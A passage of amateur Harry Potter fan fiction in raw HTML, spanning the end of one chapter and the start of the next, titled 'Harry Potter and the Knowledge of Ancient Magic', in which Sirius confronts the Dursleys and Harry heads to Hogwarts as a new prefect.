\nhad lost back in 1981 while he killed Harry&#8217;s parents, he will come for him. At \nthe times he received any of Sirius&#8217;s letters, he couldn&#8217;t help but remember \nMoody&#8217;s growling voice shouting CONSTANT VIGILANCE! .Though he knew the fact \nthat the Moody teaching at Hogwarts was an imposter, he believed that the \nimposter had to act just like the real Moody to fool the whole Ministry of Magic \nas well as Albus Dumbledore. The rise of the Dark Lord was acknowledged by the \nMinistry, as there were many attacks on innocent people in the Magical World as \nwell as Muggle World though Cornelius Fudge, the Minister of Magic, was still \ntoo afraid to accept the fact. By his personal interviews, published in the \nDaily Prophet, he still believed that these attacks were organized by some \nremaining Death Eaters to start a panic.</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was still very angry at Fudge, \nfor not believing him and taking him as abnormal and fame-hungry boy. However, \nhe still believed and trusted Dumbledore. He had told everything, which had \nhappened at graveyard, to Dumbledore. But Ron and Hermione were still in \noblivion. Although Harry had won the TriWizard Tournament, he was not at all \nhappy. Infact, he had given all his prize money to Weasley twins, Fred and \nGeorge, for their shop Weasley Wizard Wheeses. &#8216;I wonder what they have planned \nfor it&#8217;. Harry thought. </p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After watching the time on clock, Harry \nquickly moved out of his bed. It was 7 `o` clock and Aunt Petunia would be on \nhis door soon, ordering him to get up. Sure enough, she was on the door of his \nroom in no time. &#8220;Wake up, boy. Now.&#8221; She said in a angry voice. After knocking \nfiercely on the door few times, she went to the kitchen again. Harry dressed \nquickly and went down to the kitchen to prepare breakfast. He mentally prepared \nhimself for a long and tiring day because Uncle Vernon seem to load more and \nmore work on him with every passing day. Dudley was also not very helping. </p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As always his uncle was on his usual \nsofa set, reading the newspaper. &#8220;Morning Uncle Vernon.&#8221; The boy said. Uncle \nVernon paid no attention. Harry busied himself in preparing breakfast and \nthought about Hogwarts and Wizarding World.</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Pay attention boy. I don&#8217;t want the same \nhalf-burned breakfast every day.&#8221; shouted Uncle Vernon. Harry cursed him under \nhis breath. He was very annoyed by the attitude of the Dursleys towards him. \nQuickly, he made the breakfast and went upstairs to his room, taking his \nbreakfast with him. &#8216;When will I return to Hogwarts? &#8217;. He thought. Today was 28th \nof July. There were two more days to his birthday and after forty-three days he \nwill return to his real home, Hogwarts.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">\n$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">His whole body was soaked with sweat. He slowly opened his \neyes afraid to see the same nightmare which had haunted his dreams ever since \nhis return from Hogwarts. After watching his usual room at #4 Private Drive, he \ntook in a breath of relief. The words &#8216;<i>kill the spare&#8217; </i>\nwere echoing in his mind and filling his heart with the feelings of sorrow and \nguilt. He lifted his head to see the time on the half-broken wall clock. \nIt was 31st July and he was going to be of 15 years of age in 5 \nminutes.</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sudden tapping on the window pulled him out of his \nthoughts. He stood up and opened the window. Out was Hedwig with Pig and other \nowls. He let them in and taken all of his letters from them. He opened the first \nletter. It was from Ron.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">Hey Harry,</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Happy Birthday! I hope Dursleys are treating \nyou right. We asked Dumbledore about you living with us. But he said that you \nwill be safer at Privet Drive. Sorry mate, but it seems that you have to cope \nwith your Aunt and Uncle until you come to Hogwarts. I have sent your birthday \npresent along with Pig. I hope you like it.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Ron</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Harry opened the parcel that had \ncome along with Pig. Inside it was a book with two broomsticks and a snitch on \nthe cover. Harry read the title. <b>1100 moves for a seeker</b>. Harry smiled. \nNow he had some thing to read in his spare time (if he have any) at Dursleys \nbesides his school books. He moved his attention towards the second letter which \nwas from Hermione.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Hey Harry,</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Happy Birthday. \nHow was your summer? I hope it was all right. I am very worried about you. \nYou-Know-Who is gaining his power back very soon. There have been many attacks \non the Ministry. I hope he will not consider attacking you. And if he will, \nwell, there is some kind of protection around your Aunt and Uncle&#8217;s house. But \njust incase, I have send you this book so you can learn some useful spells to \nprotect yourself better. Guess what! I have been made a Prefect. I can&#8217;t believe \nthis! It was totally unexpected. I wonder who the other Prefect is. I hope that \nyou are the other one. See you at Hogwarts then. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Love,</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Hermione.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">P.S: Ron hasn&#8217;t told you but \nGinny has informed me that Ron actually asked out a Muggle Girl! Wonder what you \nthink about this. Knowing Ron&#8230;Well I better not say something that might hurt \nthe ego of you guys, now that you have come of age. Okay, okay, I am just joking \nand by the way my affair with Krum didn&#8217;t end too well. I was forced to slap him \nand said words about him that I daren&#8217;t utter in front of my mother! He wanted \nto sleep with me! The unintelligible bastard! </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Harry put Hermione&#8217;s letter \ndown. He opened the book which was along with the letter. It was interesting and \nlooked very useful. He decided to read it afterwards. Hagrid has also sent him a \npresent. There were sweets from Honey dukes and rock cakes. He ate some sweets \nright away but didn&#8217;t as much as touched the rock cakes. He knew better than to \neat something Hagrid baked. He, then looked to a letter that a barn owl with a \nHogwart&#8217;s crest on his chest had brought him. He suspected that it was his new \nschool supplies list. He opened the letter. Surprisingly, there was a <i>letter</i> \nwith his supplies list. Suspiciously, he opened&nbsp; the letter. It was from \nProfessor McGonagall saying that&#8230;&#8230;he had been appointed a <i>Prefect</i>. \nHarry&#8217;s heart jumped with happiness. &#8216;Wait till Hermione knows that <i>I</i> \nhave been made a Prefect.&#8217; Harry thought. He was imagining Hermione jump with \nsurprise after hearing this. But, sadly, he was not sure about Ron&#8217;s action \nafter what happened last year. He opened the letter which he got from Sirius. He \nsaid that since Harry had to buy his school things, he will come by and together \nthey will go to the Diagon Alley. He had written the time and date of his \narrival. Harry couldn&#8217;t wait to go shopping with his Godfather. He was not at \nall worried of what will the Dursleys say. He knew that by using Sirius&#8217;s name \nhe can pressurize them as they were very much afraid of Sirius. Harry took a \nlong breath and, smiling, he lie-down on his bed. He imagined the look on the \nfaces of his so-called relatives when they will see Sirius. It will be fun. He \nsmiled mischievously after imagining it. Yes, very much fun.</p>\n\n  <p class="MsoNormal" style="text-indent: 6.0pt; border: medium none; padding: 0in">\n  &nbsp;\n</p><p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Today was the day of Sirius&#8217;s \narrival. He was looking forward to the moment very much. Harry saw the time on \nclock. 1:30 PM. Sirius will be arriving in an hour. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Harry still hadn&#8217;t told his \nrelatives of his Godfather&#8217;s visit. And now, not very much was left. Harry tried \nto catch the attention of his Uncle, who was enjoying his evening tea. &#8220;Excuse \nme Uncle Vernon. I was wondering if it is okay that I would go buy my school \nthings with a friend of mine.&#8221; Harry said, snickering in his mind. His Uncle, \nwithout giving him much attention, said. &#8221;No, it is not okay. You can&#8217;t go \nfooling around with any &#8216;abnormal&#8217; friend of yours.&#8221;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;But Uncle Vernon!&#8221; Harry tried \nto protest although he knew it was all in vain. &#8220;I SAID NO.&#8221; Uncle Vernon roared \nin anger. He tried to say something more, probably about threatening to lock him \nup in the same old cupboard. But the door bell ranged, cutting him off in the \nmid-sentence. Harry lunged at the door and opened it. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Outside was a large shaggy \nlooking black dog. The dog hurried in the house. Harry shut the door behind him. \nSoon enough, that dog transformed into something else. Where there was the dog a \nmoment ago, now stood a man totally a stranger to the Dursleys. The Dursleys \nstood there dumbfounded, eyeing the man suspiciously. The man glared at them \nrather coldly.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Smiling broadly, Harry took a \nstep forward and said.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Uncle Vernon, I want to \nintroduce you to my Godfather, Sirius Black.&#8221;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n\n  <p class="MsoNormal" style="text-indent: 6.0pt; border: medium none; padding: 0in">\n  &nbsp;\n</p><p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Beta Acknowledgment: Do please \nread this story. My beta has made a bet that people will flame this story. \nPlease make him wrong. (makes puppy dog eyes.) </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n\n\n\n\n'),
	(193, 2, '\n\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>&#8220;Harry \nPotter and the Knowledge of Ancient Magic.&#8221;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal"><b><i><u>&nbsp;</u></i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;&nbsp; <u>Summary:</u></i> <i>The-boy-who-lived is being \nsubjected to various changes that would one day change \nthe&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \nfate of Wizarding World. However, petty teenager conflicts can harm the greatest \nof minds and Harry finds out that in the age of Mass Freedom, his best friend is \nstill very conservative. My version of Harry&#8217;s 5th year at Hogwarts. \nAnimagus training, New powers, and a bit of H/Hr.&nbsp;&nbsp; </i></b></p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; Smiling broadly, Harry took a step forward and said.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Uncle Vernon, I want to \nintroduce you to my Godfather, Sirius Black.&#8221;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">As soon as the words escaped \nHarry&#8217;s mouth, a horrified expression appeared on the faces of all the Dursleys. \nDudley went white as chalk. Aunt Petunia&#8217;s whole body started shaking violently. \nUncle Vernon also looked terrified but not as much as his horse-faced wife and \n&#8216;precious&#8217; son, much to Harry&#8217;s disappointment.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Harry turned his head towards \nSirius&#8217;s direction. He had a very smug look on his face and was chuckling \nsoftly. Harry laughed in his head amused that Sirius was enjoying this situation \nvery much. Harry felt a sense of satisfaction over-whelm him. After all these \nyears, continuously being harassed by the Dursleys, he finally found \nsatisfaction in seeing his Godfather taking his revenge from them.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">After some moments, Uncle Vernon \nseemed to over-come his initial shock and fear. He tried unsuccessfully to make \nhis gestures appear stern. &#8220;What do you want from me? Were those freaks, James \nand Lilly Potter, not enough to betray?&#8221; Uncle Vernon said in what to be called \na pure loathing voice. Harry saw his Godfather shook in anger. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;What do you know about Harry&#8217;s \nparents or me, you pathetic fools. You don&#8217;t know <i>anything</i> about Wizards \nand Magic. They or Harry are not freaks. The only one who is freak here is you \npeople. Treating Harry like a slave of yours for fifteen years? Eh? You can&#8217;t be\n<i>humans</i> even. What you done to him already, I forgive, taking you as his \nonly relatives alive. But from now on, if I heard a single complaint of you \nthree from Harry, you all will pay.&#8221; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">The Dursley and Harry stood \nthere frozen at Sirius&#8217;s sudden outburst. &#8220;Come on Harry.&#8221; Sirius said, turning \naway and moving towards the door. Harry, with one last good-bye glance at the \nDursleys, followed him.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;After some walking, Sirius took \na deep sigh and sat on an empty bench. He had cooled down a bit. Harry sat by \nhis side. &#8220;Why did you get so angry at them suddenly?&#8221; Harry asked, although he \nknew that very well. Sirius was a very close and trusted friend of his parents. \nAnd, naturally, can&#8217;t sit by while someone insulted them.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Sirius, again, took a deep sigh, \nas to suppress his anger, and said. &#8220;They insulted James and Lilly, Harry. \nWeren&#8217;t you mad at them too?&#8221; Harry leaned onto the bench, with a saddened \nexpression on his face, he said. &#8220;Yes I was. But I have kind of get used to hear \nsuch type of insults. I even blew up Aunt Marge for insulting my parents.&#8221; Harry \ngrinned suddenly, recalling the event. Sirius laughed with him. But then worry \nreplaced the laughter on his face. &#8220;You weren&#8217;t expelled for practicing magic \noutside Hogwarts?&#8221; He asked wondering. &#8220;No, some how I did it without a wand. I \nthink that&#8217;s why I wasn&#8217;t caught.&#8221; Harry replied.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Sirius&#8217;s eyes widened. &#8220;You did \nthat <b><i>without</i></b> a wand? How could it be? Sure people were known to do \nsome wand-less magic earlier in the History, about 10,000 years ago. But no one \ncan do that<i> </i>nowadays. Dumbledore can do some simpler spells without a \nwand.&#8221; Harry had a confused look on his face. But Sirius continued anyway. &#8220;But \nmagic like this? And, besides, Dumbledore is the most powerful and qualified \nwizard living. You haven&#8217;t even graduated yet.&#8221;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Harry shifted uncomfortably \nunder Sirius&#8217;s amazed as well as admiring gaze. He hated this, being special and \nall. Sirius seemed to understand Harry&#8217;s uneasiness and stood up. &#8220;Come on, \nHarry. We have yet to meet another friend. She lives in the neighborhood.&#8221; \nSirius added, after watching Harry&#8217;s confused face. &#8220;Who is she? I know all the \npeople living here. But I think no one here can be related to magic.&#8221; Harry \nasked. &#8220;Besides, you know her very well, Harry.&#8221; Sirius smiled at him \nmeaningfully and changed from Sirius into Snuffles.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">After a walk of 10 minutes, they \narrived at a house Harry knew very well. &#8220;SHE IS A WITCH?&#8221; Harry nearly screamed \nwith shock. They were standing in front of Mrs. Figg&#8217;s house. She was Harry&#8217;s \nold babysitter who liked cats very much. Sirius transformed again and faced the \ndoor so that no one could see his face. &#8220;Yes, and don&#8217;t scream, people are \nlooking at us.&#8221; Sirius replied enjoying Harry&#8217;s shocked state.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Sirius ranged the door-bell. The \nchirping of sparrow was heard inside the house. Soon, Harry heard the voice of \nhis old babysitter, cursing. &#8220;Who&#8217;s at the door?&#8221; She barked. &#8220;Easy, easy \nArabella, its me, Sirius.&#8221; Sirius chuckled merrily. There was complete silence \ninside the house for a second and the next second the door was slammed open by \nMrs. Figg. She looked at Sirius for a second and the next thing Harry knew was \nthat she was hugging Sirius furiously.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Soon, she noticed Harry and \ngasped. &#8220;Sirius, Ha&#8230;..Ha&#8230;...Harry?&#8221; She stuttered. &#8220;Nothing to worry Arabella. I \nhave asked permission from Professor Dumbledore and he said that it was not \nnecessary any longer to hide the truth from him.&#8221; Sirius chuckled. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Harry, this is Arabella Figg, \nshe was in our year at Hogwarts and was Lilly&#8217;s best friend.&#8221; Sirius introduced \nher to Harry. &#8220;In your year?&#8221; Harry wondered aloud. Sirius laughed with \nArabella. &#8220;She is in disguise, Harry. She is much younger than <b><i>this</i></b>.&#8221; \nSirius replied. &#8220;Oh.&#8221; Harry said, turning beet red, embarrassed that he can&#8217;t \nassume such an obvious thing. Sirius was looking very happy after he met Mrs. \nFigg. Harry noticed this and smiled in his head.</p>\n\n  <p class="MsoNormal" style="text-indent: 6.0pt; border: medium none; padding: 0in">\n  &nbsp;\n</p><p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal">&nbsp;Harry entered Diagon Alley along with Sirius. They have \nstopped at Arabella&#8217;s house for an hour. Harry now really came to know her. She \nwas very nice and kind. And she definitely not liked cats. It was only to \ndeceive others. Harry was really happy to meet her.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">After getting his other things \nlike quills, parchments, ink bottles and some treat for Hedwig, Harry finally \nentered Flourish and Blotts to buy his school books. There were different \nsections for different subjects. Defense Against the Dark Arts, Transfiguration, \nAstronomy, Divination, Potions all had their respective shelves. Harry had gone \nto collect his Transfiguration book when he saw an old, rusty book on Animagi \nbeside it. A sudden idea struck Harry&#8217;s mind. If Voldemort was after Harry, he \nvery much needed to over-come this art of transfiguring his body into an animal. \nHe decided to ask Sirius about it. Since, he was an animagus as well. With that \nsettled Harry paid for all his stuff and moved towards the dark corner where \nSirius was waiting for him. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Sirius transformed back into his \nhuman form after seeing Harry. Harry reached him and decided to ask. &#8220;Um&#8230;Sirius \ncan you please teach me how to become an animagus.&#8221; Sirius straightened a bit at \nhis request. &#8220;I know why you want to learn that. But Harry it is very dangerous \nand a very long process. I can&#8217;t risk teaching that to you myself. If you really \nwant to do this, I will tell Dumbledore of your request. And if he thought it \nwas alright, then he will assign a <i>qualified</i> teacher to teach you. But \nHarry, not all the wizards can become an animagus. It is not exactly rare. But \nif you can&#8217;t, please don&#8217;t get disheartened.&#8221; Sirius said seriously.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Harry was a bit disappointed \nthat he can&#8217;t learn it from his Godfather but anyways, he was looking forward to \nit.</p>\n\n  <p class="MsoNormal" style="text-indent: 6.0pt; border: medium none; padding: 0in">\n  &nbsp;\n</p><p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Today was 1st of \nSeptember. The day he waited most. The day to ride Hogwarts express and escape \nfrom his horrible relatives. He still remembered the first time he was able to \ngo away from the shadows of his aunt, uncle and his horrible cousin Dudley. That \nwas his first year at Hogwarts. He sighed. Nothing will be like that now. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">He looked out the window of the \ncar. His Uncle Vernon was driving him to King&#8217;s Cross Station. Since the arrival \nand threat of Sirius, the behavior of the Dursleys had become some what nicer to \nhim. Dudley has not beaten him up since then and his Aunt and Uncle weren&#8217;t <i>\nthat </i>annoying now. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Harry looked at his shining \nPrefect badge. Sirius was very proud of him when he had told him. Harry missed \nhis parents very much at the moment. Soon, they reached the railway station. It \nwas as crowded as ever. There were Muggles everywhere in the sight, busy in \ntheir daily work. However, there were also a few Wizards who had came by to say \ngood bye to their children attending Hogwarts</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Harry made his way from the \nbarrier between platform nine and ten and onto platform 9\n3/4. He met many of his friends on his \nway to the last compartment. He placed his trunk in a corner of the compartment \nand got seated comfortably on a seat and started waiting patiently for his \nfriends.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">After half an hour, Hermione \nmade her way through the compartment door. She was panting heavily from having \nlifted such a heavy trunk which was full of her books. She smiled as soon as she \nsaw him. &#8216;He has grown a lot this summer&#8217;. She thought. Harry had indeed grown a \nbit that summer. And thanks to the hard Quidditch practice Wood made them do, \nHarry was no longer as skinny and short. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">She, too, placed her trunk in a \ncorner. She sat across from Harry. And immediately started talking about which \nsubject she was taking this year at Hogwarts. Thankfully, they were less than \ntheir third year. Obviously, she had learned a lesson from that. She was so busy \nand exhausted back in their third year that Harry was very much relieved by her \nchoice of lessons. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Soon, Ron also entered the \ncompartment. He sat besides Harry and immediately busied him into a \nQuidditch-talk. Hermione was not very happy by the change of topic.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Hey Harry, now that Oliver Wood \nis gone, I wonder who will become the Captain. And you people have to find a new \nkeeper for the team, too.&#8221; Ron said.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Yeah. Personally, I think \nAlicia will be a great captain. As for the keeper, I think there will be tryouts \nto fulfill the place.&#8221;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;I, too, think that Alicia is \ngood but she will have a hard competition with Angelina. By the way, who do \nthink are the Prefects of our year. Surely, Malfoy would be one, much to my \ndispleasure, judging by his father&#8217;s influence in the Ministry and on the \nGovernors.&#8221; Ron said.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Hermione immediately looked up \nfrom her book and proudly said. &#8220;Well, I am one.&#8221; Ron snickered at this. &#8220;Who \nwould&#8217;ve thought.&#8221; He said sarcastically. &#8220;Shut up Ron.&#8221; She snapped. &#8220;I wonder \nwho the other Prefects are.&#8221; She said. Harry shifted uncomfortably. &#8220;Well, I am \none.&#8221; Harry said, unsure what effect it will bring out of them. They both jumped \nup. But the expressions on their faces were entirely different. Ron had pressed \nhis lips together tightly and Hermione had a large smile on her lips. Harry had \na neutral thought at that moment. On one hand he was happy that Hermione was \nokay with the idea of him being a Prefect, but, on the other hand he was sad \nthat Ron had not taken it well.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;I should have guessed already.&#8221; \nHermione said happily. Harry smiled thankfully at her. &#8220;We are very happy for \nyou. Aren&#8217;t we Ron?&#8221; Hermione said last part with gritted teeth. &#8220;Uh&#8230; Yeah. We \nare very happy.&#8221; He said receiving a death glare from Hermione.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">At the very moment, Malfoy \nstepped in with his &#8216;friends&#8217;, Crabbe and Goyle. &#8220;Well, well, well. What do we \nhave here scar-head, a penniless weasel <i>and</i> Mud blood.&#8221; He said, all \nwhile laughing. &#8220;Say what do you want and SOD OFF!&#8221; 